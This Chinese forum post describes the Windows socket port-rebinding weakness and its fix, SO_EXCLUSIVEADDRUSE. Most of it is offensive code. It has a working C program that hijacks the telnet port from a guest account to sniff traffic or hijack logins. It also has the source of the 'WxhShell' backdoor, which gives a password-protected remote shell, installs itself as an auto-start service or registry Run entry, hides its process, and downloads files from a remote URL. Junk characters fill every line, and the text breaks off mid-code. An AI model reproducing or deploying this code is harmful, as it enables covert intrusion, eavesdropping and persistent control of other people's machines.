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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: q=}1ud}1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Yt?]0i+  
P0pBR_:o  
  saddr.sin_family = AF_INET; d6W\ \6V  
P ^ 4 @  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); C;j& Vbf  
@fb"G4o`:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \W]gy_=D{  
|Ve,Y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 VD< z]@  
2vWn(6`  
  这意味着什么?意味着可以进行如下的攻击: <{GVA0nr  
A; wT`c  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 UWidT+'Sa  
J ZkQ/vp(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) LT"H -fTgs  
K_@?Q@#YhR  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :AS`1\ C  
K8R>O *~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -Caj>K  
JQ 6M,O  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hGkJ$QT  
7B)1U_L0H  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5VJe6i9;  
=J4|"z:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1X&.po  
BM`6<Z"3q  
  #include 2j}DI"|h  
  #include GX0zirz  
  #include n}j6gN!O  
  #include    4(8tr D6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Px&_6}YWy  
  int main() 1I{8 |  
  { > (9\ cF{  
  WORD wVersionRequested; g4 eW<  
  DWORD ret; 3 ye  
  WSADATA wsaData; 9 @xl{S-  
  BOOL val; z}B 39L  
  SOCKADDR_IN saddr; J|].h  
  SOCKADDR_IN scaddr; ?*%_:fB  
  int err; ( *Xn"o  
  SOCKET s; (6 Od   
  SOCKET sc; HA*L*:0  
  int caddsize; ,T`,OZm  
  HANDLE mt; y?3.W  
  DWORD tid;   L-!1ybB^  
  wVersionRequested = MAKEWORD( 2, 2 ); S YDE`-  
  err = WSAStartup( wVersionRequested, &wsaData ); Q{RmE:  
  if ( err != 0 ) { H=Ilum06  
  printf("error!WSAStartup failed!\n"); Pal=I)  
  return -1; OU"%,&J  
  } fj)) Hnt(|  
  saddr.sin_family = AF_INET; 8M@'A5]  
   Ff%V1BH[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 zD79M  
Cf3!Ud  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qS2Nk.e]o  
  saddr.sin_port = htons(23); Z sTtSM\Ac  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dw3Hk$"h  
  { z8'1R6nq  
  printf("error!socket failed!\n"); M{Z ;7n'  
  return -1; `}$o<CJ  
  } %KXiB6<4  
  val = TRUE; {VL@U$'oI  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #F.jf2h@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !6T"J!F#  
  { ~?AEtl#&"  
  printf("error!setsockopt failed!\n"); PmRvjSIG  
  return -1; J+J,W5t^  
  } #uw&u6*\q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *L$2M?xkY  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Zn'tNt/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 uI)twry]@  
RI0^#S_{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) B-R#?Xn:!I  
  { :Ko6.|  
  ret=GetLastError(); ~vFa\7sf  
  printf("error!bind failed!\n"); ( %\7dxiK  
  return -1; $+!dP{   
  } ba);f[>  
  listen(s,2); g4$(%]  
  while(1) n%s%i-[5B  
  { \A"o[A2v  
  caddsize = sizeof(scaddr); by X!,  
  //接受连接请求 B6Vlc{c5SO  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); e~9O#rQI  
  if(sc!=INVALID_SOCKET) FM >ae-L-  
  { [d6!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |)29"_Kk5  
  if(mt==NULL) jC9us>b  
  { Xq*^6*E-}  
  printf("Thread Creat Failed!\n"); /Hyz]46  
  break; ^Tm`motzh  
  } .p&@;fZ  
  } *h!fqT%9  
  CloseHandle(mt); DH-M|~.sf^  
  } IW 3k{z  
  closesocket(s); ] 3"t]U'f  
  WSACleanup(); :TH cI;PG8  
  return 0; tcuwGs>_  
  }   <EpL<K%  
  DWORD WINAPI ClientThread(LPVOID lpParam) rp||#v0l!w  
  { f'^uuO#x  
  SOCKET ss = (SOCKET)lpParam; /x6p  
  SOCKET sc; a/sjW  
  unsigned char buf[4096]; l@4_D;b3o"  
  SOCKADDR_IN saddr; //q(v,D%Q  
  long num; vxOqo)yO  
  DWORD val; &12K pEyf  
  DWORD ret; _\ToA9m  
  //如果是隐藏端口应用的话,可以在此处加一些判断 b-&iJ &>'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;u UFgDi  
  saddr.sin_family = AF_INET; :8A+2ra&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); QPJ \Iu@D$  
  saddr.sin_port = htons(23); Z<-_Y]4j  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cqS :Zq  
  { {AL EK   
  printf("error!socket failed!\n"); n qcq3o*B  
  return -1; W)In.?>]W  
  } MzJCiX^  
  val = 100; AK2Gm-hHK  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &A QqI  
  { fu/8r%:h  
  ret = GetLastError(); bbK};u  
  return -1; lLx!_h  
  } m+kP"]v  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {^VtD  
  { FzT.9Vz7  
  ret = GetLastError(); U(#<D7}  
  return -1; {ez $kz  
  } `>gG"1,]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  wA"@t  
  { M"~jNe|  
  printf("error!socket connect failed!\n"); ;b$P*dSG}  
  closesocket(sc); 1i76u!{U  
  closesocket(ss); _ E;T"SC  
  return -1; Zv u6/#  
  } XO <wK  
  while(1) Z*%;;&?  
  { RP4/:sO  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 yB b%#GW  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 uJ !&T  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =}^NyLE?  
  num = recv(ss,buf,4096,0); ,XD" p1(|G  
  if(num>0) Jl Do_}  
  send(sc,buf,num,0); > ;,S||  
  else if(num==0) 9u B?-.  
  break; :!`"GaTy  
  num = recv(sc,buf,4096,0); e w^(3&  
  if(num>0) Mt[yY|Ec|  
  send(ss,buf,num,0); QU"WpkO  
  else if(num==0) kRp]2^}\s\  
  break; m&.LJ*uM\K  
  } rhJ&* 0M  
  closesocket(ss); [{znwK@  
  closesocket(sc); iNO>'7s7  
  return 0 ; w?Te%/s.  
  } V]=22Cxi'~  
LW %AZkAx  
#2{-6ey  
==========================================================  +\/Q  
|3*9+4]a  
下边附上一个代码,,WXhSHELL jjs/6sSRk  
z;c>Q\Q  
========================================================== b$G{^  
1K72}Gj)ZL  
#include "stdafx.h" @IT[-d  
t&r.Kf9Z\  
#include <stdio.h> $^Fl*:6  
#include <string.h> @,vmX z  
#include <windows.h> DD| 0?i  
#include <winsock2.h> sZ.<:mu[  
#include <winsvc.h> (m~>W"x/  
#include <urlmon.h> = tv70d'  
D tsZP (  
#pragma comment (lib, "Ws2_32.lib") I= mz^c{  
#pragma comment (lib, "urlmon.lib") XHr*Rs.[=  
w+M/VsL  
#define MAX_USER   100 // 最大客户端连接数 Wh[QR-7Ew  
#define BUF_SOCK   200 // sock buffer [BWq9uE  
#define KEY_BUFF   255 // 输入 buffer vCzZjGBY  
*FS8]!Qg  
#define REBOOT     0   // 重启 KII{GDR]  
#define SHUTDOWN   1   // 关机 a:kAo0@":j  
D31X {dJ  
#define DEF_PORT   5000 // 监听端口 %( )d$.F  
%go2tv:|W  
#define REG_LEN     16   // 注册表键长度 7#V7D6j1  
#define SVC_LEN     80   // NT服务名长度 MqyjTY::Xg  
wwUI ;g  
// 从dll定义API  *}?[tR5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YW}$eW*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x.SfB[SZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {15j'Qwm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vgfC{]v<W]  
^_7|b[Bt  
// wxhshell配置信息 '\:4Ijp<"  
struct WSCFG { ({f}Z-%  
  int ws_port;         // 监听端口 !`69.v  
  char ws_passstr[REG_LEN]; // 口令 X+hHEkJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z%t_1t  
  char ws_regname[REG_LEN]; // 注册表键名 Ltlp9 S  
  char ws_svcname[REG_LEN]; // 服务名 w:&" "'E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q6zVu(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7CIN!vrC|1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xL}i9ozZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w^yb`\$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b?H"/Mu.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |;ztK[(  
c4JV~VS+  
}; wi(Y=?=  
]vrZGX a+  
// default Wxhshell configuration Ln"wj O ,  
struct WSCFG wscfg={DEF_PORT, ;kFD769DLw  
    "xuhuanlingzhe", =|3BkmO  
    1, "J VIkC  
    "Wxhshell", b!<_ JOL2.  
    "Wxhshell", s :vNr@TS  
            "WxhShell Service", qBA)5Sv\V  
    "Wrsky Windows CmdShell Service", N5Js.j>z  
    "Please Input Your Password: ", _&gi4)q  
  1, M'*s5:i  
  "http://www.wrsky.com/wxhshell.exe", *ap,r&]#F  
  "Wxhshell.exe" 18&"j 8'm  
    }; eYOY   
@rl5k(  
// 消息定义模块 Od1\$\4Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6$u/N gS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wu <0or2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i:lc]B  
char *msg_ws_ext="\n\rExit."; %(CC  
char *msg_ws_end="\n\rQuit."; f56yI]*N=<  
char *msg_ws_boot="\n\rReboot..."; $?= $F  
char *msg_ws_poff="\n\rShutdown..."; ,Qj G|P  
char *msg_ws_down="\n\rSave to "; 727#7Bo  
Xp<q`w0I,  
char *msg_ws_err="\n\rErr!"; &@~K8*tmK  
char *msg_ws_ok="\n\rOK!"; -amo8V;2H  
UXm_-/&b9  
char ExeFile[MAX_PATH]; 2)}n"ibbT  
int nUser = 0; L.n@;*  
HANDLE handles[MAX_USER]; 0'^M}&zCi  
int OsIsNt; Cbbdq%ySI  
~i,d%a  
SERVICE_STATUS       serviceStatus; &l(T},-X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7)?C+=,0  
x:SjdT  
// 函数声明 w$]G$e  
int Install(void); )nUdU = m  
int Uninstall(void); _c5@)I~  
int DownloadFile(char *sURL, SOCKET wsh); [2:d@=%.  
int Boot(int flag); ym;]3<I?I[  
void HideProc(void); D8A+`W?  
int GetOsVer(void); OC! {8MR  
int Wxhshell(SOCKET wsl); xUJ(tG3  
void TalkWithClient(void *cs); (zhZ}C,VF  
int CmdShell(SOCKET sock); ;jP sS^X  
int StartFromService(void);  2&6D`{"P  
int StartWxhshell(LPSTR lpCmdLine); TTf j 5  
}m:paB"3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pb!2G/,.[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l@`k:?  
X3:1KDVsV  
// 数据结构和表定义 5'!fi]Z  
SERVICE_TABLE_ENTRY DispatchTable[] = 1+%UZK= K  
{ D*l(p5[  
{wscfg.ws_svcname, NTServiceMain}, y?s z&*:  
{NULL, NULL} ak7%  
};  \XDiw~0  
\f,<\mJ#  
// 自我安装 ?1Nz ,Lc$  
int Install(void) kQ\GVI11?  
{ <spG]Xa<  
  char svExeFile[MAX_PATH]; x[ A|@\Z  
  HKEY key; ^ AZ#tp%)  
  strcpy(svExeFile,ExeFile); b8!oZ~ K  
6 AO(A *  
// 如果是win9x系统,修改注册表设为自启动 2;)IBvK  
if(!OsIsNt) { /xn|d#4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {_7hX`p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @&jR^`Y.  
  RegCloseKey(key); \kE0h\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ys=2!P-[#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FB k7Cn!  
  RegCloseKey(key); '4,?YcZ?S  
  return 0; |W@ ~mrO  
    } g;l K34{  
  } kNuvJ/St  
} ^-%'ItVO  
else { 8\J$\Edv  
l;-2hZ  
// 如果是NT以上系统,安装为系统服务 ZayJllaq^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  |Iy;_8c  
if (schSCManager!=0) {$S"S j  
{ !(*&P  
  SC_HANDLE schService = CreateService m"L^tSD~  
  ( [REH*_  
  schSCManager, ("`"?G  
  wscfg.ws_svcname, d=1\=d/K  
  wscfg.ws_svcdisp, kEh9J>|M  
  SERVICE_ALL_ACCESS,  Wvb ~j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Csyh 'v  
  SERVICE_AUTO_START, 6;E3|st1X  
  SERVICE_ERROR_NORMAL, /#9P0@Y  
  svExeFile, |=5zI6pT  
  NULL, 9>{fsy  
  NULL, `;mgJD  
  NULL, h-p}Qil,  
  NULL, J;sQvPHV8  
  NULL R3g)LnN  
  ); >VhZv75  
  if (schService!=0) @tT`s^e  
  { ru:"c^W:[  
  CloseServiceHandle(schService); G[}v?RLI  
  CloseServiceHandle(schSCManager); u<j;+-]8h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8P ]nO+  
  strcat(svExeFile,wscfg.ws_svcname); ^*jwe^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KKwM\   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &5}YTKe}|  
  RegCloseKey(key); JCH9~n.  
  return 0; UV(`.  
    } NG3?OAQTw  
  } q,K|1+jn  
  CloseServiceHandle(schSCManager); Boj R"  
} ybpOk  
} ) [eTZg  
_J*l,]}S  
return 1; Zx8$M5  
} OX,em Ti  
",apO  
// 自我卸载 V;^-EWNj  
int Uninstall(void) YM#' +wl}`  
{ "s@Hg1  
  HKEY key; 1PVZGZxAgv  
'qVlq5.  
if(!OsIsNt) { G/ si( LK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { } :?*n:g5  
  RegDeleteValue(key,wscfg.ws_regname); DXJw)%G w  
  RegCloseKey(key); X$<pt,}%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FOD'&Yb&  
  RegDeleteValue(key,wscfg.ws_regname); B<~AUf*y  
  RegCloseKey(key); wmpQF<  
  return 0; qKSR5 #  
  } iK2f]h  
} WiH8j$;xu  
} !"FEp  
else { dkC_Sh{  
#0) TS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [ `|t(E'  
if (schSCManager!=0) /#5rt&q  
{ I!b"Rv=Nf-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ju:}%'  
  if (schService!=0) kM-8%a2i  
  { gHgqElr(  
  if(DeleteService(schService)!=0) { C{U*{0}  
  CloseServiceHandle(schService); '`tFZfT  
  CloseServiceHandle(schSCManager); ty[%:eG#  
  return 0; Ud"_[JtGM  
  } <|'ETqP<+  
  CloseServiceHandle(schService); A46dtFD{  
  } CUB;0J(  
  CloseServiceHandle(schSCManager); 5> dA7j^v  
} [cFD\"gJAr  
} bv41et+Kb  
9~^k3!>0  
return 1; _R0O9sPTO  
} nls$ wE  
*QNX?8Fm_  
// 从指定url下载文件 l`75BR  
int DownloadFile(char *sURL, SOCKET wsh) `C7pM  
{ wBlE!Pm  
  HRESULT hr; t .&JPTK-H  
char seps[]= "/"; <=!t!_  
char *token; {%6 '|<`[  
char *file; uih8ZmRt  
char myURL[MAX_PATH]; LD{~6RP  
char myFILE[MAX_PATH]; `4ga~Ch  
[6\O <-?  
strcpy(myURL,sURL); bs}SFTL  
  token=strtok(myURL,seps); Rhlm  
  while(token!=NULL) d~.hp  
  { #_Uo^Mw  
    file=token; F)=<|,b1  
  token=strtok(NULL,seps); %X}D(_  
  } 7aRy])x  
;Ym6ey0t  
GetCurrentDirectory(MAX_PATH,myFILE);  Z a,o  
strcat(myFILE, "\\"); 0(C[][a*u  
strcat(myFILE, file); (gdzgLHy  
  send(wsh,myFILE,strlen(myFILE),0); 3p-SpUvp  
send(wsh,"...",3,0); .: wg@Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rD6NUS  
  if(hr==S_OK) ]=3hH+1 a  
return 0; C(sz/x?11  
else &]f8Xd  
return 1; j0F& WKk  
Z3<lJk\Y  
} W-D4" G@  
Hl}m*9<9us  
// 系统电源模块 g \+!+!"~  
int Boot(int flag) 7h. [eMLPB  
{ iyR5mA  
  HANDLE hToken; U_9|ED:  
  TOKEN_PRIVILEGES tkp; <%4pvn8d?&  
sj+ )   
  if(OsIsNt) { H>\l E2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }If,O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,LOx!  
    tkp.PrivilegeCount = 1; 6QHUBm2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M"-53|#:w\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #p{8  
if(flag==REBOOT) { 1@-l@ P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t[({KbIy  
  return 0; T_\hhP~  
} p-oEoA  
else { rWL&-AZQl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C-:|A* z  
  return 0; < A`srmS?  
} )):D&wlq  
  } ()Img.TIt  
  else { RR`\q>|  
if(flag==REBOOT) { zYis~ +  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D.F1^9Q  
  return 0; 3ug>,1:6-  
} 2_6@&2  
else { s ldcI@Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f'j<v  
  return 0; UOe@R|79q  
} M(} T\R  
} +>tSO!}[  
,]@Sytky  
return 1; YEiw!  
} 7&dF=/:X@  
YyY?<<z%  
// win9x进程隐藏模块 47 &p*=  
void HideProc(void) REOWSs$'  
{ DI :  
h?QGJ^#8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gE23C*!'&:  
  if ( hKernel != NULL ) H'@@%nO (  
  { =4/K#cQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %u?A>$Jn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P?=}}DI  
    FreeLibrary(hKernel); |l~#qeZ%  
  } pSx}:u^am  
P!R`b9_U  
return; H/0b3I^  
} |i(@1 l  
9]S;%:64  
// 获取操作系统版本 8[)"+IFN  
int GetOsVer(void) 9*a"^  
{ 2"Ki5  
  OSVERSIONINFO winfo; BS?rKtdm(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _:XX+ 3W7  
  GetVersionEx(&winfo); Qj9'VI>&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GS GaYq  
  return 1; aqP"Y9l  
  else s8*Q@0  
  return 0; aO *][;0  
} 7$kTeKiP  
+W|VCz  
// 客户端句柄模块 7MX5hZF"  
int Wxhshell(SOCKET wsl) :<6gP(  
{ _nIt4l7  
  SOCKET wsh; K &G  
  struct sockaddr_in client; #!j wn^yq  
  DWORD myID; a/~1CrYr  
2Gc0pBqx  
  while(nUser<MAX_USER) RbEtNwG@c  
{ na|23jz4  
  int nSize=sizeof(client); K!tM "`a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5BMrn0  
  if(wsh==INVALID_SOCKET) return 1; ;C5 J ^xHI  
](k}B*Ab h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kI~; 'M  
if(handles[nUser]==0) kznm$2 b  
  closesocket(wsh); mN" g~o*  
else o|1_I?_  
  nUser++; nsXyReWka  
  } n?NUnFA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {%v{iE>  
Mgux (5`;  
  return 0; z| m-nIM  
} :w9s bW  
rW2   
// 关闭 socket ]2mfby  
void CloseIt(SOCKET wsh) dJ7!je1N*  
{ ^Zq3K  
closesocket(wsh); LHusy;<E[  
nUser--; U1pwk[  
ExitThread(0); pE]s>T a  
} (+9^)No  
o[k,{`M0  
// 客户端请求句柄 HA;G{[X  
void TalkWithClient(void *cs) zRA,Yi4;+  
{ o=Kd9I#  
KD8,a+GL  
  SOCKET wsh=(SOCKET)cs; z#srgyLt  
  char pwd[SVC_LEN]; Z7=k$e  
  char cmd[KEY_BUFF]; |EP=<-|  
char chr[1]; QqB9I-_  
int i,j; Hg+bmwM  
'dd[= vzK  
  while (nUser < MAX_USER) { gYa (-o  
n{z!L-x^b  
if(wscfg.ws_passstr) { 3Ebkq[/*%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4nD U-P#f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CQET  
  //ZeroMemory(pwd,KEY_BUFF); 82w=t  
      i=0; $+w-r#,  
  while(i<SVC_LEN) { 90 pt'Jg  
N'M+Z=!  
  // 设置超时 0 t0m?rVW  
  fd_set FdRead; l\t<_p/I)^  
  struct timeval TimeOut; dQPW9~g8Hg  
  FD_ZERO(&FdRead); HA GpM\Qa  
  FD_SET(wsh,&FdRead); FrQRHbp3  
  TimeOut.tv_sec=8; X[$FjKZh=F  
  TimeOut.tv_usec=0; L[}Ak1 A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6cTd SE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9Z.W R-}  
{GQRJ8m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %g=SkQ&d  
  pwd=chr[0]; F44KbUH  
  if(chr[0]==0xd || chr[0]==0xa) { hdy N   
  pwd=0; Xs$UpQo  
  break; 0)9'x)l:  
  }  pytF K)U  
  i++; 8i?:aN[.1b  
    } ? VHOh9|AT  
cDLjjK7:   
  // 如果是非法用户,关闭 socket s)V<dm;T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); njBK{  
} DBZ^n9  
P(~vqo>!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W4S! rU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kPF qsq  
,I8[tiR"b  
while(1) { bLyaJ%pa\/  
Wt9'-"c  
  ZeroMemory(cmd,KEY_BUFF); {*t0WE&1t  
Huho|6ohH  
      // 自动支持客户端 telnet标准   629 #t`W\  
  j=0; K|sx"u|?  
  while(j<KEY_BUFF) { sB%QqFRP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6%fF6  
  cmd[j]=chr[0]; tF~D!t@  
  if(chr[0]==0xa || chr[0]==0xd) { o_on/{qz  
  cmd[j]=0; U9:I"f,  
  break; } ^n346^  
  } pJ3Yjm[l  
  j++; (z.eXoP@>  
    } [BKX$A:Y  
 j#YPo  
  // 下载文件 (2p<I)t  
  if(strstr(cmd,"http://")) { 3YJa3fflK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q# t&\M.U  
  if(DownloadFile(cmd,wsh)) )XoIb[s"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xPorlX)zW  
  else f|'8~C5I@>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )CUB7D)=  
  } .u$o^; z!  
  else { F4 :#okt  
FR? \H"'x  
    switch(cmd[0]) { B0"55g*c  
  ad,pHJ`  
  // 帮助 >}6V=r3[+  
  case '?': { hSF4-Vvb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _!Ir|j.A  
    break; h!q_''*;  
  } $ {5|{`  
  // 安装 !ui:0_  
  case 'i': { <5:`tC2  
    if(Install()) oeIza<:=R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F*j0o +B5  
    else E e 15Y$1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (bo-JOOdY(  
    break; qB8R4wCf  
    } dE ]yb|Ld  
  // 卸载 k;xIo(:  
  case 'r': { x{#W84  
    if(Uninstall()) e|S_B*1*0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V"DilV$v  
    else ?5jq)xd2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !pAb+6~T  
    break; L@>$ Aw  
    } JJVdq-k+`  
  // 显示 wxhshell 所在路径 PiZU _~A  
  case 'p': { +jN%w{^=  
    char svExeFile[MAX_PATH]; 5tQZf'pHfd  
    strcpy(svExeFile,"\n\r"); 5><KTya?=  
      strcat(svExeFile,ExeFile); l/g6Tv `w  
        send(wsh,svExeFile,strlen(svExeFile),0); mVNHH!  
    break; ~"}o^#@DwJ  
    } Z,}c)  
  // 重启 caXSt2|'  
  case 'b': { >dYN@cB$}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %8$ldNhV  
    if(Boot(REBOOT)) \zM3{{mV/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ds;c\x  
    else { /YHAU5N/}  
    closesocket(wsh); VL2+"<  
    ExitThread(0); ^&Wa? m.  
    } y`8 bx94jB  
    break; iTIYq0u|#R  
    } E2u9>m4_J  
  // 关机 1yV+~)by3  
  case 'd': { pUD(5v*0R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f S-PM3  
    if(Boot(SHUTDOWN)) E) z=85;_p  
